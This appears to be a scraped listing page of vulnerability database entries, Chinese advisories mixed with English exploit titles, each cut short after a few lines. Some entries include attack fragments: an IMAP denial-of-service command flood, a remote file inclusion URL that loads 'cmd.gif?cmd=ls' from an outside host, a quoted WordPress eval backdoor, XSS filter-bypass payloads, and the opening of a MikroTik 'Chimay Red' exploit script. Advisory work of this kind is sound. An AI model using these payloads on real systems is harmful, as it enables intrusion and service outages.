hMailServer IMAP命令拒绝服务漏洞

BUGTRAQ ID: 30663 CNCAN ID：CNCAN-2008081411 hMailServer是一款EMAIL服务程序。 hMailServer IMAP服务程序不正确处理IMAP命令，远程攻击者可以利用漏洞对服务器进行拒绝服务攻击。 发送大量IMAP命令： A01 CREATE AAAAA A02 CREATE AAAAAA A03 CREATE AAAAAAA ... A97 RENAME AAAAA BBBBB A98 RENAME AAAAAA BBBBBB A100 RENAME AAAAAAA BBBBBBB 可导致服务器消耗大量资源而造成拒绝服务攻击。...

Linux Kernel ipip6_rcv()函数远程拒绝服务漏洞

BUGTRAQ ID: 29235 CVECAN ID: CVE-2008-2136 Linux Kernel是开放源码操作系统Linux所使用的内核。 Linux Kernel的net/ipv6/sit.c文件中的ipip6rcv函数中存在内存泄露漏洞，如果远程攻击者向简单Internet传输（SIT）隧道接口发送了与pskbmaypull、kfreeskb函数和skb引用计数管理相关的恶意网络通讯的话，就可能触发这个漏洞，导致耗尽内存。 Linux kernel 2.6.25.3 Debian ------ Debian已经为此发布了一个安全公告（DSA-1588-2）以及相应补丁:...

phpBP id参数远程SQL注入漏洞

BUGTRAQ ID: 28272 PHPBP是在波兰广泛使用的网站内容管理系统。 PHPBP的includes/functions/banners-external.php脚本文件中没有正确地验证对id参数的输入，允许远程攻击者通过提交特制的SQL查询请求执行SQL注入攻击。 以下是有漏洞的代码段： ... 3 function bannerout //zlicza ilosc klikniec na banner 4 5 global $conf; 6 7 if$GET'id' 8 9 SQLvalidate$POST'id'; 10 11 $db = new dbquery; 12...

SAPlpd多个远程溢出及拒绝服务漏洞

BUGTRAQ ID: 27613 CVECAN ID: CVE-2008-0620,CVE-2008-0621 SAPlpd是SAP GUI软件包中所捆绑的Windows平台行市打印机守护程序。 SAPLPD服务程序在处理LPD命令时存在多个缓冲区溢出漏洞，远程攻击者可能利用这些漏洞控制服务器或导致服务不可用。 如果向0x01、0x02、0x03、0x04、0x05、0x31、0x32、0x33、0x34和0x35 LPD命令传送了超长参数的话，就可以触发这些溢出，导致执行任意指令；如果向0x53 LPD命令传送了畸形参数，还可能导致服务器终止。 SAP SAPlpd = 6.28 S...

Gallery 2.2.4之前版本多个远程安全漏洞

BUGTRAQ ID: 27035 Gallery是基于Web的开源相册管理器。 Gallery的2.2.4之前版本存在多个安全漏洞，允许恶意用户泄露敏感信息、执行跨站脚本攻击、绕过安全限制或入侵有漏洞的系统。 1 Publish XP模块中的漏洞可能导致未经正确的授权便创建和上传文件。 2 URL重写模块中的管理员控制器中的漏洞可能允许包含本地文件。 3 core和add-item模块中没有正确地过滤通过文件名所传送的输入，导致在用户浏览器会话中执行任意HTML和脚本代码。 4 Core/MIME模块中没有对上传文件的扩展名执行正确的检查。 5 Gallery...

PHP error_log()安全模式限制绕过漏洞

BUGTRAQ ID: 18645 CVECAN ID: CVE-2006-3011 PHP是广泛使用的通用目的脚本语言，特别适合于Web开发，可嵌入到HTML中。 PHP的errorlog函数中存在安全模式限制绕过漏洞： PHP5: - -2013-2050--- PHPAPI int phperrorlogint opterr, char message, char opt, char headers TSRMLSDC phpstream stream = NULL; switch opterr case 1: /send an email / if HAVESENDMAIL if...

Mono System.Web StaticFileHandler.cs源码泄露漏洞

BUGTRAQ ID: 26166 CVECAN ID: CVE-2007-5473 Mono是基于.NET框架的开源开发平台，允许开发人员构建Linux和跨平台的应用。 运行在Windows平台上的Mono中StaticFileHandler.cs文件没有正确地处理某些用户请求，可能导致源码泄露。 如果请求中所使用的文件名以空格或句号结束的话，Win32子系统就无法正确地处理这样的文件名，会忽略拖尾字符，允许调用的应用程序打开磁盘上的文件，即使该文件的名称不包含有请求中所使用的拖尾字符。发送上述请求就会导致XSP返回所请求页面的源码。 Mono 1.x...

phpRealty 0.02 (MGR) Multiple Remote File Inclusion Vulnerabilities

No description provided by source. |-------------------------------------------------------------------------------| | | | phpRealty 0.02 MGR Remote File include | | | | Script : phpRealty | | Version : 0.02 | | Authord : QTRinux | | Contact : Qataro at hotmail dot com | | Vendor :...

FuseTalk Index.CFM SQL注入漏洞

FuseTalk是一款WEB应用程序。 FuseTalk不正确过滤用户提交的URI数据，远程攻击者可以利用漏洞进行SQL注入攻击获得敏感信息。 问题是由于'Index.CFM'脚本对用户提交的WEB参数缺少过滤，提交恶意SQL查询作为参数数据，可导致应用程序处理时更改原来的SQL逻辑，攻击者可以获得敏感信息或者操作数据库。 FuseTalk 2.0 目前没有解决方案提供： http://www.fusetalk.com/...

Quagga BGPD UPDATE消息远程拒绝服务漏洞

Quagga是一款基于TCP/IP路由软件套件。 Quagga's bgpd存在一个越界内存读取问题，远程攻击者可以利用漏洞对应用程序进行拒绝服务攻击。 攻击者发送一个特殊构建的，畸形的多协议可到达/不可到达NLRI属性的UPDATE消息，可触发Quagga's bgpd发生assert而放弃，导致拒绝服务攻击。 Ubuntu Ubuntu Linux 7.04 sparc Ubuntu Ubuntu Linux 7.04 powerpc Ubuntu Ubuntu Linux 7.04 i386 Ubuntu Ubuntu Linux 7.04 amd64 Ubuntu Ubuntu...

Freetype TT_Load_Simple_Glyph() TTF文件处理整数溢出漏洞

FreeType是一个流行的字体函数库。 Freetype的truetype/ttgload.c文件中TTLoadSimpleGlyph函数处理畸形TTF图形时存在有符/无符转换错误，如果用户受骗打开了设置有负数npoints值的畸形TTF图形的话，就可能触发整数溢出和堆溢出，导致执行任意指令。 FreeType FreeType = 2.3.4 目前厂商已经发布了升级补丁以修复这个安全问题，请到厂商的主页下载：...

Beacon Splash.lang.PHP远程文件包含漏洞

Beacon是一款基于PHP的WEB应用程序。 Beacon不正确过滤用户提交的输入，远程攻击者可以利用漏洞以WEB权限执行任意命令。 问题是'Splash.lang.PHP'脚本对用户提交的'languagePath'参数缺少过滤，指定远程服务器上的文件作为包含参数，可导致以WEB权限执行任意命令。 GNU Beacon 0.2 目前没有解决方案提供： http://savannah.gnu.org/projects/beaconoptions...

Xoops Module Virii Info <= 1.10 (index.php) Remote File Include Exploit

No description provided by source. html head meta http-equiv="Content-Type" content="text/html; charset=windows-1254" titleXoops Module Virii Info = 1.10 index.php Remote File Include Exploit/title script language="JavaScript"...

Xoops Module Lykos Reviews 1.00 (index.php) SQL Injection Exploit

No description provided by source. html head titleXOOPS Module Lykos Reviews 1.00 index.php BLIND SQL Injection Exploit/title script type="text/javascript" //'=============================================================================================== //'Script Name: XOOPS Module Lykos Reviews...

Softerra Time-Assistant <= 6.2 (inc_dir) Remote File Inclusion Vuln

No description provided by source. \ /\ / | \ | / // / | | \ \ Y / | / / \ /\| /\ / / / / / .OR.ID ECHOADV80$2007 ----------------------------------------------------------------------------------------- ECHOADV80$2007 Softerra Time-Assistant = 6.2 incdir Remote File Inclusion Vulnerability...

Web Content System 2.7.1 Remote File Inclusion Exploit

No description provided by source. Web Content System //'=============================================================================================== //'Script Name : Web Content System //' //'? //'.... //'.. //'ERROR------------------------------...

Takebishi Electric DeviceXPlorer OPC服务器远程代码执行漏洞

OPC OLE for Process Control 是一款为保证工业软件和设备的互联性而制订的程序接口国际标准。 Takebishi Electric DeviceXPlorer OPC服务器存在设计错误，远程攻击者可以利用漏洞以应用程序进程权限执行任意指令。 通过OPCDA接口，可导致在OPC Server上访问任意内存，可导致执行任意指令。如下版本的DeviceXPlorer OPC Server受此漏洞影响： DeviceXPlorer MELSEC OPC Server DeviceXPlorer SYSMAC OPC Server DeviceXPlorer FA-M3 O...

Wordpress 2.1.1远程命令执行后门漏洞

WordPress是一款免费的论坛Blog系统。 WordPress提供软件下载的网站被入侵，入侵者修改了软件代码码植入远程可执行命令的后门，远程攻击者可能利用这个后门以Web进程权限在安装了恶意版本WordPress的服务器上执行任意命令。 被修改的文件是wp-includes/feed.php和wp-includes/theme.php，被添加了如下代码： 在wp-includes/feed.php文件中： function commenttextphpfilter$filterdata eval$filterdata; ... if $GET"ix"...

PHP 4 Userland ZVAL Reference Counter Overflow Exploit PoC

No description provided by source. ?php //////////////////////////////////////////////////////////////////////// // // // | || | | | | | | | || || // // | |/ || '|/ |/ -| ' / -/ |||| /| || / //...

Xero Portal (phpbb_root_path) Remote File Include Vulnerablity

No description provided by source. C XORON - 2007 Bug name: Xero Portal v1.2 phpbbrootpath Local File Include Vulnerablity Script Name: Xero Portal v1.2 Wrong Codes: require$phpbbrootpath . 'includes/bbcode.'.$phpEx; Exploit:...

Microsoft Visual Studio WmiScriptUtils.dll跨域脚本漏洞

Microsoft Visual Studio是一套微软公司的开发工具套件系列产品。 Microsoft Visual Studio WMIScriptUtils.WMIObjectBroker2 ActiveX控件处理存在问题，远程攻击者可利用漏洞以应用程序进程权限执行任意指令。 Microsoft WMIScriptUtils.WMIObjectBroker2 ActiveX控件存在安全问题，攻击者可以构建恶意页面，诱使用户访问，导致绕过Internet域安全限制，并实例化其他危险的对象，造成 任意指令执行。 Visual Studio 2005 Standard Edition...

Knusperleicht NewsLetter Index.PHP远程文件包含漏洞

Knusperleicht NewsLetter是一款基于PHP的新闻管理程序。 Knusperleicht NewsLetter不正确过滤用户提交的URI数据，远程攻击者可以利用漏洞以WEB进程权限执行任意命令。 问题是'index.php'脚本对用户提交的"NLPATH"参数缺少过滤，提交恶意的远程服务器作为包含对象，可导致以WEB进程权限执行任意PHP代码。 Knusperleicht NewsLetter 3.5 http://knusperleicht.at/index.php?knuspi=phpecke http://example.com/Script...

Mambo Peoplebook Component 1.0 Remote File Include Vulnerability

No description provided by source. --------------------------------------------------------------------------- Peoplebook Mambo Component = v1.0 Remote File Include Vulnerabilities --------------------------------------------------------------------------- Author : Matdhule Date : August, 14th 20...

NetBSD Ftpd和Tnftpd移植远程缓冲区溢出漏洞

tnftpd是一款NetBSD FTP服务程序的移植版本。 NetBSD tnftpd存在远程堆栈溢出问题，远程攻击者可以利用漏洞以应用程序进程权限执行任意指令。 要触发此漏洞，攻击者必须建立文件夹和使用GLOB特殊字符如星号来溢出内部堆栈缓冲区，精心构建提交数据可能以进程权限执行任意指令。 tnftpd tnftpd 20040810 NetBSD NetBSD 3.0 目前没有解决方案提供： http://freshmeat.net/projects/tnftpd !perl $$$ NetBSD ftpd and ports Remote ROOOOOT $HOLE$ $$$...

Serendipity Lang.Inc.PHP本地文件包含漏洞

CVE: 2006-6242 Serendipity 是一款基于php的WEB应用程序。 Serendipity 不正确过滤用户提交的URI数据，远程攻击者可以利用漏洞以web权限查看系统文件内容。 问题是由于'Lang.Inc.PHP'脚本对用户提交的'entryid'参数缺少过滤，提交包含多个"../"字符作为参数数据，可绕过web root路径限制，以web权限查看系统文件内容。 0 S9Y Serendipity 1.0.3 S9Y Serendipity 0.9.1 S9Y Serendipity 0.8.2 S9Y Serendipity 0.8.1 S9Y...

Windows Media Player ASX播放列表文件拒绝服务漏洞

Windows Media Player是一款流行的媒体播放器。 Windows Media Player在处理包含畸形内容的ASX文件时存在漏洞，远程攻击者可能利用此漏洞导致WMP进程崩溃。 如果用户受骗加载了恶意的ASX播放列表文件的话，就会导致Windows Media Player崩溃。 Microsoft Windows Media Player 10.00.00.4036 - Microsoft Windows XP SP2 目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：...

pcAnywhere认证拒绝服务漏洞

BUGTRAQ ID: 15646 CVECAN ID: CVE-2005-3934 Symantec pcAnywhere是全球最畅销的用于管理服务器和提供管理人员支持的远程控制解决方案。 pcAnywhere在处理特制消息的时候存在溢出漏洞，可能导致拒绝服务。由于溢出发生在认证之前，因此远程攻击者无需有效的凭据便可利用这个漏洞。 Symantec pcAnywhere 11.5.1 Symantec pcAnywhere 11.0.1 目前厂商已经发布了升级补丁以修复这个安全问题，请到厂商的主页下载：...

Knowledge Base Mod &lt;= 2.0.2 (phpBB) Remote Inclusion Vulnerability

No description provided by source. Title: Knowledge Base Mod for PHPbb = 2.0.2 remote file inclusion URL: http://www.phpbb2.de/dload.php?action=file&fileid=538 Dork: "Powered by Knowledge Base" Credits: Oo Exploit: /includes/kbconstants.php?modulerootpath=http://yourhost/cmd.gif?cmd=ls milw0rm.co...

Askey RTF3505VW RCE漏洞（CVE-2020–28695）

...

DimonCoin(FUD), ERC20 token, allows attackers to steal all victim’s balances (CVE-2018–11411)

Abstract I found a vulnerability of a smart contract for DimonCoinFUD, an Ethereum ERC20 token CVE-2018–114111. This vulnerability is exactly same with the UselessEthereumToken’s vulnerability2, 3. DimonCoin token also has the same vulnerable function which is transferFrom in UET token. Therefore...

Insteon Hub PubNub "ad" Channel Message Handler Code Execution Vulnerability(CVE-2017-14447)

Summary An exploitable buffer overflow vulnerability exists in the PubNub message handler for the "ad" channel of Insteon Hub running firmware version 1012. Specially crafted commands sent through the PubNub service can cause a stack-based buffer overflow overwriting arbitrary data. An attacker...

Moxa EDR-810 Web Server strcmp Multiple Denial of Service Vulnerabilities(CVE-2017-14435 - CVE-2017-14437)

Summary An exploitable denial of service vulnerability exists in the web server functionality of Moxa EDR-810 V4.1 build 17030317. A specially crafted HTTP URI can cause a null pointer dereference resulting in denial of service. An attacker can send a GET request to "/MOXALOG.ini, /MOXACFG.ini, o...

Moxa EDR-810 Service Agent Multiple Denial of Service Vulnerabilities(CVE-2017-14438 - CVE-2017-14439)

Summary Exploitable denial of service vulnerabilities exists in the Service Agent functionality of Moxa EDR-810 V4.1 build 17030317. A specially crafted packet can cause a denial of service. An attacker can send a large packet to 4000/tcp and 4001/tcp to trigger this vulnerability. Tested Version...

MikroTik RouterOS < 6.38.4 (x86) - 'Chimay Red' Stack Clash Remote Code Execution

!/usr/bin/env python2 Mikrotik Chimay Red Stack Clash Exploit by wsxarcher based on BigNerd95 POC tested on RouterOS 6.38.4 x86 ASLR enabled on libs only DEP enabled import socket, time, sys, struct from pwn import import ropgadget ASTSTACKSIZE = 0x800000 default stack size per thread 8 MB...

mavo中noscript xss的安全绕过

首先，我们可以利用noscript不会对跟随字母数字的函数进行检测的特性，把函数与anchor属性的值结合以躲避检测。 mavoscript作为javascript的扩展，并不支持此类操作，所以我们需要将mavoscript转化为javascript模式。 从mavoscript的语法中可知，当mavo遇到无效的mavoscript时，它就会将无效的mavoscript当作javascript来处理。 //X=＇javascript ＇//X+=＇：alert＇+ y.rel + y.title test...

Microsoft Edge: Chakra: Incorrect scope handling(CVE-2018-0774)

PoC: function funcarg = function printfunc; // SetHasOwnLocalInClosure should be called for the param scope in the PostVisitFunction function. printfunc; function func ; Chakra fails to distinguish whether the function is referenced in the param scope and ends up to emit an invalid opcode. functi...

Sophos XG from Unauthenticated Persistent XSS to Unauthorized Root Access(CVE-2017-18014)

Vulnerability Summary The following advisory describes an unauthenticated persistent XSS that leads to unauthorized root access found in Sophos XG version 17. Sophos XG Firewall “provides unprecedented visibility into your network, users, and applications directly from the all-new control center...

CPP-Ethereum JSON-RPC miner_start improper authorization Vulnerability(CVE-2017-12117)

Summary An exploitable improper authorization vulnerability exists in minerstart API of cpp-ethereum's JSON-RPC commit 4e1015743b95821849d001618a7ce82c7c073768. A JSON request can cause an access to the restricted functionality resulting in authorization bypass. An attacker can send JSON to trigg...

Windows: out-of-bounds read in jscript!RegExpFncObj::LastParen(CVE-2017-11906)

There is an out-of-bounds read in jscript.dll library used in IE, WPAD and other places: PoC for IE note: page heap might be required to obsorve the crash: function go var r= new RegExpArray100.join''; ''.searchr; alertRegExp.lastParen; go; Debug log: cec.a14: Access violation - code c0000005 fir...

SonicDICOM PACS 2.3.2 Remote Vertical Privilege Escalation Exploit

Summary SonicDICOM is PACS software that combines the capabilities of DICOM Server with web browser based DICOM Viewer. Description The application suffers from a privilege escalation vulnerability. Normal user can elevate his/her privileges by sending a HTTP PATCH request seting the parameter...

Coredy CX-E120 Repeater Multiple Vulnerabilities

Vulnerabilities Summary The following advisory describes two 2 vulnerabilities found in Coredy CX-E120 Repeater. The Coredy CX-E120 WiFi Range Extender is “a network device with multifunction, which can be using for increasing the distance of a WiFi network by boosting the existing WiFi signal an...

wget HTTP integer overflow(CVE-2017-13089)

That’s an interesting vulnerability in GNU wget. According to the wget project, this was reported by Antti Levomäki, Christian Jalio, Joonas Pihlaja of Forcepoint as well as Juhani Eronen of the Finnish National Cyber Security Centre. The vulnerability is in src/http.c source code file and more...

7zip HFS+ NArchive::NHfs::CHandler::ExtractZlibFile Code Execution Vulnerability(CVE-2016-2334)

DESCRIPTION An exploitable heap overflow vulnerability exists in the NArchive::NHfs::CHandler::ExtractZlibFile method functionality of 7zip that can lead to arbitrary code execution. TESTED VERSIONS 7-Zip 32 15.05 beta 7-Zip 64 9.20 PRODUCT URLS http://www.7-zip.org/ CVSSv3 SCORE 7.3 -...

ProcessMaker Enterprise Core Multiple SQL Injection Vulnerabilities(CVE-2016-9048)

Summary Multiple exploitable SQL Injection vulnerabilities exists in ProcessMarker Enterprise Core 3.0.1.7-community. Specially crafted web requests can cause SQL injections. An attacker can send a web request with parameters containing SQL injection attacks to trigger this vulnerability,...

Apple iOS / MacOS Domain Socket Kernel Use-After-Free(CVE-2017-2501)

iOS/MacOS kernel uaf due to bad locking in unix domain socket file descriptor externalization unpexternalize is responsible for externalizing the file descriptors carried within a unix domain socket message. That means allocating new fd table entries in the receiver and recreating a file which...

Google Nexus 9 SensorHub Firmware Downgrade Vulnerability(CVE-2017-0582)

Product Google Nexus 9 Vulnerable Version Nexus 9 Android Builds before N4F27B - May 2017, i.e. before bootloader 3.50.0.0143. Mitigation Install N4F27B or later bootloader version 3.50.0.0143. Technical Details The Nexus 9 device contains a SoC manufactured by Cywee which implements a “Sensor...

AMF3 Java implementations Improper Control of Dynamically-Managed Code Resources

Details reference: https://codewhitesec.blogspot.kr/2017/04/amf.html Some Java implementations of AMF3 deserializers may allow instantiation of arbitrary classes via their public parameter-less constructor and subsequently call arbitrary Java Beans setter methods. The ability to exploit this...

Microsoft Internet Explorer Elevation of Privilege Vulnerability (CVE-2017-0154)

Original link: a Broken Browser Original author: Manuel Caballero Translation: Holic know Chong Yu 404 security lab Today we know from Internet Explorer since the birth there has been function. This feature allows the Web Developer instance of the external object, and therefore be the attacker to...

PHP PEAR 1.10.1 - arbitrary File Download Vulnerability (CVE-2017-5630)

Author: mapl0 Vulnerability details In the PEAR Base System The 1. 10. 1 version of the installer, can be in after the redirect does not verify file type and file name, and then allows the remote http server via a specially crafted request to overwrite the hacked server files, such as. htaccess i...

Grandstream HT701 IP analog telephone adapter background of the weak password vulnerability

No description provided by source. !/usr/bin/env python coding: utf-8 from pocsuite.api.request import req from pocsuite.api.poc import register from pocsuite.api.poc import Output, POCBase import re class TestPOCPOCBase: vulID = '' ssvid version = '1.0' author = 'Hcamael' vulDate = '2016-11-11'...